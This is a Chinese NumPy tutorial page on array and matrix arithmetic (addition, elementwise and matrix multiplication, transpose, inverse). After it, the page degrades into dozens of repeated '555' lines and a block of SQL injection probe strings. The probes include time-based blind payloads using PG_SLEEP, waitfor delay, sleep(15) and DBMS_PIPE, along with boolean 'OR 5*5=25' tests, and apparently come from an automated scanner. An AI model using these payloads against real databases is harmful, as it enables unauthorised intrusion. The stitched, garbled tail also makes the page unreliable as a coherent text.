一维数组运算
- 生成一维示例数组
>>> a = np.array([1, 2, 3, 4, 5])
>>> b = np.arange(1, 6)
>>> a, b
(array([1, 2, 3, 4, 5]), array([1, 2, 3, 4, 5]))
- 一维数组加法运算
>>> a + b
array([ 2, 4, 6, 8, 10])
- 一维数组减法运算
>>> a - b
array([0, 0, 0, 0, 0])
- 一维数组乘法运算
>>> a * b
array([ 1, 4, 9, 16, 25])
- 一维数组除法运算
>>> a / b
array([1., 1., 1., 1., 1.])
二维数组(矩阵)运算
- 生成二维示例数组(可以看作矩阵)
>>> A = np.array([[1, 2],[3, 4]])
>>> B = np.array([[5, 6],[7, 8]])
>>> A, B
(array([[1, 2],
[3, 4]]), array([[5, 6],
[7, 8]]))
- 矩阵加法运算
>>> A + B
array([[ 6, 8],
[10, 12]])
- 矩阵减法运算
>>> A - B
array([[-4, -4],
[-4, -4]])
- 矩阵元素间乘法运算
>>> A * B
array([[ 5, 12],
[21, 32]])
- 矩阵乘法运算
>>> np.dot(A, B)
array([[19, 22],
[43, 50]])
注意:np.dot(A, B)与上题A * B的区别,如果不了解矩阵乘法运算,点击百度百科学习。
# 如果使用 np.mat 将二维数组准确定义为矩阵,就可以直接使用 * 完成矩阵乘法计算
>>> np.mat(A) * np.mat(B)
matrix([[19, 22],
[43, 50]])
- 数乘矩阵
>>> 2 * A
array([[2, 4],
[6, 8]])
- 矩阵的转置
>>> A.T
array([[1, 3],
[2, 4]])
- 矩阵求逆
>>> np.linalg.inv(A)
array([[-2. , 1. ],
[ 1.5, -0.5]])
关于逆矩阵,请查看百科
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@QN1Rj
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555PnAOMjVJ')) OR 569=(SELECT 569 FROM PG_SLEEP(15))--
5552BRzzbKO') OR 509=(SELECT 509 FROM PG_SLEEP(15))--
555Bjf4Knva' OR 348=(SELECT 348 FROM PG_SLEEP(15))--
555-1)) OR 371=(SELECT 371 FROM PG_SLEEP(15))--
555-1) OR 611=(SELECT 611 FROM PG_SLEEP(15))--
555-1 OR 618=(SELECT 618 FROM PG_SLEEP(15))--
555vZdZ5QjP'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "LLap6kkt"="
-1' OR 5*5=25 or 'ug85O8Y7'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555